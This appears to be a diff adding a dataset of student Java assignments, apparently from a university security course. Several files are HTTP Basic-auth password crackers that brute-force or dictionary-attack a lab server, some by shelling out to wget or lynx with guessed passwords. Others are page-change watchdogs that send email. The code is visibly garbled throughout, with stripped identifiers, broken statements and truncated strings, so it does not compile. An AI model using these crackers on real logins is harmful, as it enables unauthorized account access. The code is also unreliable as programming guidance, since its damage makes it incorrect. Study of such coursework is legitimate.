+      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
+      toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization:  ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n"");
+      toServer.flush();
+      
+      try
+      {
+         inputLine = fromServer.readLine();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+	  inputLine = null;
+       }
+      
+      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, "" "");
+      i = 0;
+      while(bf.hasMoreTokens())
+      {
+         tokens[i] =bf .nextToken();
+	 i++;
+      }
+      status = Integer.parseInt( tokens[1]);
+      myTime = System.currentTimeMillis();
+      if( status == 200)
+      {
+         System.out.println(""Ok ""+myPassword);
+	 myMaster.retire( this);
+      }
+     
+      toServer.send();
+      try
+      {
+         fromServer.recieve();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      try
+      {
+         s.connect();
+      }catch( IOException e)
+       {
+          System.out.println(""'t  connection"");
+	  System.exit(0);
+       }
+   }
+   public  getTime()
+   {
+      return myTime;
+   }
+   
+}
+"
+168.java,"
+package java.httputils;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Observable;
+import java.util.Observer;
+
+
+public class BruteForceThreadPool extends ThreadGroup implements Observer
+{
+    protected String URL = ""http://localhost:8080/secret/index.html"";
+    protected int poolSize = 6;
+
+    protected Collection threadList = new ArrayList();
+    protected String fileName = ""BruteForceReport.txt"";
+    protected boolean finished = false;
+    protected String userName = """";
+    
+    public BruteForceThreadPool(String name)
+    {
+        super(name);
+    }
+
+    
+    public BruteForceThreadPool(ThreadGroup parent, String name)
+    {
+        super(parent, name);
+    }
+
+    
+    public synchronized void update(Observable o, Object arg)
+    {
+        
+        System.out.println(""Update method called  the observer."");
+        RunnableBruteForce rbf = (RunnableBruteForce) o;
+        rbf.createReport();
+
+        
+        
+        for (Iterator iter = threadList.iterator(); iter.hasNext();)
+        {
+            RunnableBruteForce target = (RunnableBruteForce) iter.next();
+            target.setStop(true);
+        }
+        finished = true;
+    }
+
+
+    
+    protected void start(int threads)
+    {
+        
+        
+        int load = BruteForce.letters.length / threads;
+        int remainder = BruteForce.letters.length % threads;
+
+        
+        for (int i = 0, end = ( + load);
+            end < BruteForce.letters.length;
+            i = end, end += load)
+        {
+            RunnableBruteForce runnable = new RunnableBruteForce();
+            runnable.setURL(getURL());
+            runnable.setRangeStart();
+            runnable.setUserName(userName);
+            
+            runnable.setRangeEnd(
+                end + load > BruteForce.letters.length ?
+                BruteForce.letters.length :
+                end);
+
+            runnable.addObserver(this);
+            runnable.setFileName(getFileName());
+            
+            threadList.add(runnable);
+        }
+
+        
+        for (Iterator iter = threadList.iterator(); iter.hasNext();)
+        {
+            RunnableBruteForce target = (RunnableBruteForce) iter.next();
+            new Thread(target).start();
+        }
+
+    }
+
+    public static void main(String[] args)
+    {
+        BruteForceThreadPool pool = new BruteForceThreadPool(""BruteForceThreadGroup"");
+
+        if (args.length < 4)
+        {
+            pool.printUsage();
+            return;
+        }
+        pool.setURL(args[0]);
+        pool.userName = args[1];
+        pool.setFileName(args[2]);
+
+        pool.get(Integer.parseInt(args[3]));
+        while (true)
+        {
+            try
+            {
+                Thread.currentThread().sleep(100);
+                if (pool.finished)
+                {
+                    break;
+                }
+            }
+            catch (InterruptedException e)
+            {
+                e.printStackTrace();
+            }
+        }
+
+        System.exit(0);
+    }
+
+
+    public String printUsage()
+    {
+        StringBuffer s = new StringBuffer();
+
+        s.append(""** BruteForceThreadPool proper usage **\n\n"");
+        s.append(
+            ""java ..httputils.BruteForceThreadPool <URL> <UserName> <OutputFile> < Of Threads = 6>\n\n"");
+
+        return s.toString();
+    }
+
+    
+    public Collection getThreadList()
+    {
+        return threadList;
+    }
+
+    
+    public void setThreadList(Collection collection)
+    {
+        threadList = collection;
+    }
+
+
+    
+    public String getFileName()
+    {
+        return fileName;
+    }
+
+    
+    public void setFileName(String string)
+    {
+        fileName = string;
+    }
+
+    
+    public String getURL()
+    {
+        return URL;
+    }
+
+    
+    public void setURL(String string)
+    {
+        URL = string;
+    }
+
+    
+    public int getPoolSize()
+    {
+        return poolSize;
+    }
+
+    
+    public void setPoolSize(int i)
+    {
+        poolSize = i;
+    }
+
+}
+"
+257.java,"
+
+import java.awt.*;
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import java.*;
+
+ 
+public class BruteForce 
+{
+    public final char [ ]  letter = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+        'w', 'x', 'y', 'z'};			  
+
+
+    public static void main(String args[]) throws Exception
+    {
+       
+        String urlPath = null;
+        
+        if(args.length > 0)
+        {
+            urlPath = args[0];
+            System.out.println(""URL "" + urlPath);
+            BruteForce bForce = new BruteForce(urlPath);            
+        }
+        else{
+            System.out.println(""Please enter URL at command prompt"");
+            System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/"");
+        }
+
+        System.exit(0);
+
+    }
+
+    
+    public BruteForce(String urlPath) throws Exception
+    {
+        linkToWeb(urlPath);
+
+    }
+
+    public boolean linkToWeb(String urlPath) throws Exception
+    {
+        HttpURLConnection connection;
+        int i, j, k; 
+        URL  = new URL(urlPath);
+        String let1 = null;
+        String let2 = null;
+        String let3 = null;
+        String usrName = """";
+        String usrNamePwd = null;
+        String encoding = null;
+        boolean ok = false;
+
+        connection = (HttpURLConnection).openConnection();        
+
+      
+
+        for(i=0; i<String.valueOf(letter).length(); i++) {
+            let1 = String.valueOf(letter[i]);		
+
+            usrNamePwd = usrName +"":""+ let1;
+            encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
+            connection.setRequestProperty(""Authorization"", "" "" + encoding);
+
+            System.out.println(let1);
+            if(connection.getResponseCode() == 200){
+                System.out.println(""Password Found "" +let1); 
+                return true;
+            }
+            connection.disconnect();
+
+            for(j=0; j<String.valueOf(letter).length(); j++) {
+                let2 = let1 + letter[j];		
+
+                usrNamePwd = usrName +"":""+ let2;
+                encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
+
+                connection = (HttpURLConnection).openConnection();
+                connection.setRequestProperty(""Authorization"", "" "" + encoding);
+
+                if(connection.getResponseCode() == 200){
+                    System.out.println(""Password Found "" +let2);
+                    return true;
+                }
+                connection.disconnect();
+
+                System.out.println(let2);
+
+                for(k=0; k<String.valueOf(letter).length(); k++) {
+                    let3 = let2 + letter[k];             
+                     
+                    usrNamePwd = usrName +"":""+ let3;
+                    encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
+ 
+                    connection = (HttpURLConnection).openConnection();
+                    connection.setRequestProperty(""Authorization"", "" "" + encoding);
+
+                    if(connection.getResponseCode() == 200){
+                       System.out.println(""Password Found "" +let3);
+                       return true;
+                    }
+           
+                    connection.disconnect();
+                    System.out.println(let3);
+                    
+                }
+            }
+
+        }
+
+        System.out.println(""Password not found"" );
+        return false;
+
+    }
+
+
+
+    public class  Base64Converter
+    {
+
+     public final char [ ]  alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+        '4', '5', '6', '7', '8', '9', '+', '/' }; 
+
+     public String  encode ( String  s )
+     {
+        return encode ( s.getBytes ( ) );
+     }
+
+     public String  encode ( byte [ ]  octetString )
+     {
+        int  bits24;
+        int  bits6;
+
+       char [ ]  out
+          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+
+       int outIndex = 0;
+        int i        = 0;
+
+       while ( ( i + 3 ) <= octetString.length )
+        {
+          
+          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0000003F );
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+        }
+
+       if ( octetString.length - i == 2 )
+        {
+          
+          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
+          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '='; 
+        }
+        else if ( octetString.length - i == 1 )
+        {
+          
+          bits24 = ( octetString [ i ] & 0xFF ) << 16;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '='; 
+          out [ outIndex++ ] = '='; 
+        }
+
+       return new String ( out );
+      }
+
+    }
+    
+}
+
+"
+196.java,"
+import java.io.*;
+
+public class Dictionary
+{
+   
+   public static void main(String args[])throws Exception
+   {
+        String s = null;
+        String pass="""";
+        int at=0;
+        String strLine="""";
+        int i=0;
+
+        BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+        
+        start =System.currentTimeMillis();
+        try
+        {
+             while((pass=strLine = in.readLine()) != null)
+             {
+                
+                if(pass.length()==3)
+                {
+
+                     System.out.println(pass);
+                     at++;
+                     
+                     Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+                     p.waitFor();
+                     i = p.exitValue();
+
+                     if(i==0)
+                     {
+                              finish=System.currentTimeMillis();
+                             
+                             float time=finish-start;
+
+                             System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + at + "" attempts "" );
+                             System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + time + "" milliseconds "" );
+                             System.exit(0);
+                     }
+
+
+                     BufferedReader stdInput = new BufferedReader(new
+                      InputStreamReader(p.getInputStream()));
+
+                     BufferedReader stdError = new BufferedReader(new
+                      InputStreamReader(p.getErrorStream()));
+
+                     
+
+                     System.out.println(""Standard output of the command "");
+                     while ((s = stdInput.readLine()) != null)
+                     {
+                           System.out.println(s);
+                     }
+
+                     
+                     System.out.println(""Standard error of the command "");
+                     while ((s = stdError.readLine()) != null)
+                     {
+                        System.out.println(s);
+                     }
+               }
+          }
+            System.exit(0);
+        }
+        catch (IOException e)
+        {
+            System.out.println(""Exception happened "");
+            e.printStackTrace();
+            System.exit(-1);
+        }
+    }
+}"
+043.java,"import java.util.*;
+import java.io.*;
+import javax.swing.text.html.*;
+
+
+public class WatchDog {
+
+  public WatchDog() {
+
+  }
+  public static void main (String args[]) {
+    DataInputStream newin;
+
+    try{
+      System.out.println(""ishti"");
+
+      System.out.println(""Downloading first copy"");
+      Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html"");
+      String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""};
+      String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""};
+      while(true){
+            Thread.sleep(24*60*60*1000);
+            System.out.println(""Downloading new copy"");
+            Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html"");
+            Thread.sleep(2000);
+            Runtime.getRuntime().exec(cmdDiff);
+            Thread.sleep(2000);
+            newin = new DataInputStream( new FileInputStream( ""Diff.txt""));
+            if (newin.readLine() != null){
+               System.out.println(""Sending Mail"");
+               Runtime.getRuntime().exec(cmdMail);
+               Runtime.getRuntime().exec(""cp newfile.html oldfile.html"");
+
+            }
+        }
+
+    }
+    catch(Exception e){
+      e.printStackTrace();
+    }
+
+    }
+
+}"
+252.java,"import java.net.*;
+import java.io.*;
+
+public class Dictionary
+{
+
+       public static void main (String[] args)
+       {
+
+              String pwd = new String();
+              String userpwd = new String();
+              String reply = new String();
+              int i,j,k;
+             int  startTime, endTime,totalTime;
+              URLConnection connectionObj;
+              startTime = System.currentTimeMillis();
+              
+
+         try {
+
+         URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+          BufferedReader file = new BufferedReader(new FileReader(""words""));
+
+
+             while ((pwd=file.readLine()) != null)
+             {
+
+                             userpwd = bf.encode("""",pwd);
+
+                             connectionObj = urlObj.openConnection();
+
+                             connectionObj.setRequestProperty(""Authorization"","" "" + userpwd);
+                             connectionObj.connect();
+                             reply = connectionObj.getHeaderField(0);
+                             System.out.println(pwd);
+                             if (reply.compareTo(""HTTP/1.1 200 OK"")== 0)
+                             {
+
+                             endTime = System.currentTimeMillis();
+                             totalTime= (endTime - startTime)/1000;
+                             System.out.println(""Total Time = "" + (totalTime) + ""seconds"");
+                             System.exit(0);
+                             }
+                             
+
+
+
+
+
+               }
+
+        }
+
+        catch (MalformedURLException err)
+           {
+           System.out.println(err);
+           }
+       catch (IOException err)
+           {
+           System.out.println(err);
+           }
+
+       }
+
+
+
+
+}"
+109.java,"import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.Date;
+import java.util.Properties;
+
+import javax.mail.Message;
+import javax.mail.Session;
+import javax.mail.Transport;
+import javax.mail.Message.RecipientType;
+import javax.mail.internet.InternetAddress;
+import javax.mail.internet.MimeMessage;
+
+
+
+
+public class Mailsend
+{
+    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer"");
+    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient"");
+    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender"");
+    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader"");
+
+
+	
+
+	public static void main(String args[])
+	{
+		try
+		{
+			
+			String smtpServer = SMTP_SERVER;
+			String recip = RECIPIENT_EMAIL;
+			String from = SENDER_EMAIL;
+			String subject = MESSAGE_HEADER;
+			String body = ""Testing"";
+
+			System.out.println(""Started sending the message"");
+			Mailsend.send(smtpServer,recip , from, subject, body);
+		}
+		catch (Exception ex)
+		{
+			System.out.println(
+				""Usage: java mailsend""
+					+ "" smtpServer toAddress fromAddress subjectText bodyText"");
+		}
+
+		System.exit(0);
+	}
+
+
+	
+	public static void send(String smtpServer, String receiver,	String from, String subject, String body)
+
+	{
+		try
+		{
+			Properties props = System.getProperties();
+
+			
+
+			props.put(""mail.smtp.host"", smtpServer);
+			props.put(""mail.smtp.timeout"", ""20000"");
+			props.put(""mail.smtp.connectiontimeout"", ""20000"");
+
+			
+			Session session = Session.getDefaultInstance(props, null);
+
+
+			
+			Message msg = new MimeMessage(session);
+
+			
+			msg.setFrom(new InternetAddress(from));
+			msg.setRecipients(Message.RecipientType.NORMAL,	InternetAddress.parse(receiver, false));
+
+
+
+			
+			msg.setSubject(subject);
+
+			msg.setSentDate(new Date());
+
+			msg.setText(body);
+
+			
+			Transport.send(msg);
+
+			System.out.println(""sent the email with the differences : ""+ + ""using the mail server: ""+ smtpServer);
+
+		}
+		catch (Exception ex)
+		{
+			ex.printStackTrace();
+		}
+	}
+}
+"
+094.java,"
+
+
+import java.net.*;
+import java.io.*;
+
+
+public class BruteForce{
+
+       private String passwd = """";  
+       private String command = """"; 
+       private BufferedReader in;   
+       private PrintWriter  out;    
+
+       private int startTime = 0;  
+       private int endTime = 0;    
+       private int totalTimes = 0; 
+       
+       private boolean bfind = false;
+       
+       private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789."";
+
+       
+       public BruteForce(){}
+
+       
+       public void doRequest(){
+              startTime = System.currentTimeMillis();
+              
+              for(int i=0; i < str.length(); i++){
+                   if(bfind) break;
+                   for(int j=0; j < str.length(); j++){
+                        if(bfind) break;
+                        for(int k=0; k < str.length(); k++){
+                            if(bfind) break;
+                            passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j))
+                                     +String.valueOf(str.charAt(k));
+                            connection(passwd);
+                        }
+                    }
+              }
+              
+              if(!bfind){
+                 for(int i = 0; i < str.length(); i++){
+                    if(bfind) break;
+                    for(int j = 0; j<str.length(); j++){
+                        if(bfind) break;
+                        passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j));
+                        connection(passwd);
+                    }
+                 }
+              }
+              
+              if(!bfind){
+                 for(int i = 0; i < str.length(); i++){
+                     if(bfind) break;
+                     passwd = String.valueOf(str.charAt(i));
+                     connection(passwd);
+                 }
+              }
+       }
+       
+       public void connection(String passwd){
+              command = ""lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:"";
+              command = command + passwd;
+              try{
+                  System.out.println(passwd +""-->  Establishing a connection."");
+                  Runtime runtime = Runtime.getRuntime();
+                  Process p = runtime.exec(command);
+                  in = new BufferedReader(new InputStreamReader(p.getInputStream()));
+                  String inStr;
+                  while((inStr = in.readLine())!= null){
+                        if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1||
+                            inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){
+                            endTime = System.currentTimeMillis();
+                            totalTimes = endTime - startTime;
+                            System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd);
+                            System.out.println(""Total Times is "" + totalTimes + "" milliSec"");
+                            System.out.println(""Writing it  brutepswd.txt file\n"");
+                            out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt"")));
+                            out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec"");
+                            out.println(""Passwd: ""+ passwd);
+                            out.flush();
+                            bfind = true;
+                        }
+                        out.print();
+                  }
+                  in.print();
+              }catch(Exception e){System.out.println(e.getMessage());}
+       }
+       
+       public String getAnyKey()throws Exception{
+		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
+		      String key= stdin.readLine();
+	          return key;
+	   }
+	   
+       public static void main (String []args){
+
+              BruteForce bf = new BruteForce();
+              System.out.println(""\n*******************************************"");
+              System.out.println(""*                                         *"");
+              System.out.println(""*     BruteForce Crack Passwd Program     *"");
+              System.out.println(""*    ---------------------------------    *"");
+              System.out.println(""*          Author:              *"");
+              System.out.println(""*                                         *"");
+              System.out.println(""*******************************************"");
+              System.out.println(""\n  BruteForce Crack Passwd Information:\n"");
+              System.out.println(""--> UserName: "");
+              System.out.println(""--> MaxPasswdLength: 3"");
+              System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+              System.out.println(""--> Alphabet: ""+ bf.str+""\n"");
+              System.out.println(""==> Press Ctrl+C  stop Crack\n"");
+              System.out.print(""==> Press EnterKey  : "");
+              try{
+                  String key = bf.getAnyKey();
+              }catch(Exception e){System.out.println(e.getMessage());}
+              bf.doRequest();
+       }
+}"
+114.java,"
+
+
+public class BruteForce {
+    
+    private Thread threads[];
+    private String strUsername;
+    private String strURL;   
+    
+    
+    public BruteForce(String username, String url) {
+        threads = new Thread[14];
+        strUsername = username;
+        strURL = url;
+    }
+    
+    public void crackStart()
+    {
+                
+
+        int iOffset, i =0;
+        iOffset = (52 * 52 * 52) / 14;
+        CrackThread tmpCrack;
+       
+        for(i=0;i<14;i++) {
+            tmpCrack = new CrackThread();
+            
+            tmpCrack.setParams(strURL, strUsername, (i * iOffset), (i * iOffset + iOffset));
+            
+            threads[i] = new Thread(tmpCrack);
+            threads[i].print();
+        }
+    }
+    
+    
+    public static void main(String[] args) {
+        
+        
+        
+        
+        
+        BruteForce bf = new BruteForce("""", ""http://sec-crack.cs.rmit.edu./SEC/2/"");
+             
+        bf.crackStart();
+        
+    }
+    
+    
+}
+"
+233.java,"import java.util.*;
+import java.io.*;
+import java.*;
+
+public class Dogs5
+{
+   public static void main(String [] args) throws Exception
+   {      
+      executes(""rm index.*"");
+      executes(""wget http://www.cs.rmit.edu./students"");
+
+      while (true)
+      {
+         String addr= ""wget http://www.cs.rmit.edu./students"";
+         executes(addr);
+         String hash1 = md5sum(""index.html"");
+         String hash2 = md5sum(""index.html.1"");
+         System.out.println(hash1 +""|""+ hash2);
+ 
+         BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt""));
+
+         String line="" "" ;
+         String line1="" "" ;
+         String line2="" "";
+         String line3="" "";
+         String[] cad = new String[10];
+        
+         executes(""./.sh"");
+  
+         int i=0;
+         while ((line = buf.readLine()) != null)
+         {
+            
+              line1=""http://www.cs.rmit.edu./students/images""+line;
+            if (i==1)
+               line2=""http://www.cs.rmit.edu./students/images""+line;
+            if (i==2)
+               line3=""http://www.cs.rmit.edu./students/images""+line;
+            i++;
+         }
+         System.out.println(line1+"" ""+line2+"" ""+line3); 
+
+
+         executes(""wget ""+line1);
+         executes(""wget ""+line2);
+         executes(""wget ""+line3);
+         
+         String hash3 = md5sum(""index.html.2""); 
+         String hash4 = md5sum(""index.html.3""); 
+         String hash5 = md5sum(""index.html.4"");
+
+         
+
+
+BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt""));
+
+         String linee="" "" ;
+         String linee1="" "" ;
+         String linee2="" "";
+         String linee3="" "";
+
+         executes(""./ip1.sh"");
+
+         int j=0;
+         while ((linee = buf2.readLine()) != null)
+         {
+
+              linee1=""http://www.cs.rmit.edu./students/images""+linee;
+            if (j==1)
+               linee2=""http://www.cs.rmit.edu./students/images""+linee;
+            if (j==2)
+               linee3=""http://www.cs.rmit.edu./students/images""+linee;
+            j++;
+         }
+         System.out.println(line1+"" ""+line2+"" ""+line3);
+
+
+         executes(""wget ""+linee1);
+         executes(""wget ""+linee2);
+         executes(""wget ""+linee3);
+
+         String hash6 = md5sum(""index.html.5"");
+         String hash7 = md5sum(""index.html.6"");
+         String hash8 = md5sum(""index.html.7"");        
+       
+         boolean pict=false;
+         if (hash3.equals(hash6))
+            pict=true;
+
+         boolean pict2=false;
+         if (hash3.equals(hash6))
+            pict2=true;
+          
+         boolean pict3=false;
+         if (hash3.equals(hash6))
+            pict3=true;
+
+      
+         if (hash1.equals(hash2))
+         {    
+           executes(""./difference.sh"");
+           executes(""./mail.sh"");
+ 
+         
+
+         }
+         else
+         {
+            if (pict || pict2 || pict3)
+            {
+              executes("".~/Assign2/difference.sh"");            
+              executes("".~/Assign2/mail2.sh"");
+            }
+
+            executes("".~/Assign2/difference.sh"");
+            executes("".~/Assign2/mail.sh"");
+            
+  
+       
+            executes(""./reorder.sh"");
+            executes(""rm index.html"");
+            executes(""cp index.html.1 index.html"");
+            executes(""rm index.html.1"");
+            executes(""sleep 5""); 
+        }  
+     }
+   }
+
+   public static void executes(String comm) throws Exception
+   {
+   Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm });
+
+         BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
+
+         String cad;
+         while(( cad = bf.readLine()) != null)
+         {
+            System.out.println();
+         }
+	 p.waitFor();
+   }
+
+   public static String md5sum(String file) throws Exception
+   {
+      String cad;
+      String hash= ""  "";      
+
+      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",
+                                             ""-c"", ""md5sum ""+file });
+      BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
+
+      while((bf = cad.readLine()) != null)
+      {
+         StringTokenizer word=new StringTokenizer();
+         hash=word.nextToken();
+         System.out.println(hash);
+      }
+      return hash;      
+
+   }
+
+   
+  
+}
+
+"
+012.java,"import java.net.*; 
+import java.io.*; 
+import java.util.regex.*;
+import java.util.Date;
+import java.util.*;
+import java.text.*; 
+
+
+
+
+public class WatchDog { 
+  public static BufferedReader in;
+  
+
+  public static int LIMITINMINUTES=60*24;
+  public static int TIMELIMIT=LIMITINMINUTES*1000*60;
+  public static void main(String[] args) throws Exception { 
+    
+    String watchedPage = ""http://www.cs.rmit.edu./students/"";
+    String currentPage = """";  
+    
+    
+    System.out.println("" stop the program, press \""Alt + C\"""");
+    
+    boolean loggedout=false;
+    while (!loggedout){
+      
+      currentPage="""";
+      
+      
+      Date date = new Date();
+       startTime=date.getTime();
+      
+      
+      URL cs = new URL(watchedPage); 
+      HttpURLConnection connection;
+      URLConnection csc = cs.openConnection();      
+      try {
+	BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); 
+	String inputLine; 
+	
+	while ((inputLine = in.readLine()) != null) {
+	  currentPage = currentPage+inputLine;
+	}
+	
+      }
+      catch (IOException s) {    
+      }
+      finally {
+	while(in!=null)
+          in.next();
+      }
+      
+      String lastPage=readData();
+      if (lastPage.trim().equals(currentPage.trim())) {
+	System.out.println(""Pages match, nothing  email."");
+      }
+      else {
+	
+	
+	String checkCurrentPage = currentPage.trim();
+	String checkLastPage = lastPage.trim();
+	int iterations;
+	
+	boolean lastLongestString;
+	if (checkCurrentPage.length()<checkLastPage.length()) {
+          iterations = checkCurrentPage.length();
+	  lastLongestString = true;
+	}
+	else {
+          iterations = checkLastPage.length();
+	  lastLongestString = false;
+	  
+	}
+	String additions = ""Here  the additions  the : \n"";
+	boolean add=false;
+	String subtractions = ""Here  the parts removed from the : \n"";
+	boolean sub=false;
+	for (int count=0; count<iterations; count++) {
+          
+	  if (checkLastPage.length()>count && checkCurrentPage.length()>count){
+	  
+            if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {
+	      
+	      
+	      if (count<20){
+		additions = ""Sorry changes   together  distinguish additions and subtractions  . Here is where  : ""+ checkCurrentPage.substring(count, checkCurrentPage.length());
+		count = iterations;
+	      }
+	      else {
+		
+		
+		checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());
+		checkLastPage=checkLastPage.substring(count, checkLastPage.length());
+		iterations=iterations-count;
+		count=0;
+
+		
+		
+		
+		String regexAdd="""";
+		if (checkLastPage.length()<20){
+		  regexAdd=checkLastPage.substring(count, checkLastPage.length());
+		}
+		else {	  
+		  regexAdd=checkLastPage.substring(0,19);
+		}
+		String [] changes=checkCurrentPage.split(regexAdd, 2);
+		int changeslength=changes.length;
+		
+		if (changeslength>1){
+		  
+		  add=true;
+		  additions = additions + changes[0];	  
+		  
+		  
+		  if (changeslength>1){
+		    checkCurrentPage=regexAdd+changes[1];
+		  }
+		  else {
+		    if (lastLongestString==true) 
+	              count=iterations;
+		  }  
+		}
+		else { 
+	  		  
+		  
+		  
+		  String regexSub="""";
+		  if (checkCurrentPage.length()<20){
+		    regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());
+		  }
+		  else {	  
+		    regexSub=checkCurrentPage.substring(0,19);
+		  }
+		  String [] changesSub=checkLastPage.split(regexSub, 2);
+		  int changeslengthSub=changesSub.length;
+		  
+		  if (changeslengthSub>1){
+		    
+		    sub=true;
+		    subtractions = subtractions + changesSub[0];	  
+		    
+		    
+		    if (changeslengthSub>1){
+		      checkLastPage=regexSub+changesSub[1];
+		    }
+		    else {
+		      if (lastLongestString==false) 
+		      count=iterations;
+		    }
+		    
+		    
+		  }
+		}
+	      }
+
+            } 
+	  } 
+	} 
+	
+	
+	String emailBody=""Changes   have been . \n""+additions+subtractions;
+
+	
+	sendEmail(emailBody);
+      }
+
+      
+      writeData(currentPage);
+      
+      
+      wait24(startTime);
+    } 
+  } 
+  
+  
+  private static void wait24( int startTime) {
+     boolean waiting=true;
+     while(waiting){
+       Date endDate = new Date();
+        endTime=endDate.getTime();
+       
+       
+       if (endTime>(TIMELIMIT+startTime)){
+         
+          waiting=false;
+       }	
+     }
+  } 
+     
+  
+  public static String readData() {
+    String data;
+    String lastPage="""";
+    try {
+      BufferedReader in = new BufferedReader(new FileReader(""LastVisitedPage.html""));
+      while ((data = in.readLine())!=null) {
+        lastPage= lastPage + data +""\n"";
+      }
+      
+    }
+    catch (FileNotFoundException e1) {
+      System.exit(0);
+    }
+    catch (IOException e2) {
+      System.out.println(""IO Exception, exiting"");
+      System.exit(0);
+    }	    
+    finally {
+      try {
+	if (null!=in) {
+        in.next();
+	}
+    }
+    catch (IOException e3) {}
+    }
+    return lastPage;
+  }
+  
+  
+  public static void writeData(String currentPage) {
+    PrintWriter out;
+      try {
+	out = new PrintWriter (new BufferedWriter(new FileWriter(""LastVisitedPage.html"")));
+	out.println(currentPage);
+	
+	
+      }
+      catch (IllegalArgumentException e1) {
+	System.out.println (""Sorry, 't write  file. None of changes in this session have been saved"");
+	System.exit(0);
+      }
+      catch (IOException e2) {
+	System.out.println (""Sorry, 't write  file. None of changes in this session have been saved"");
+	System.exit(0);
+	}
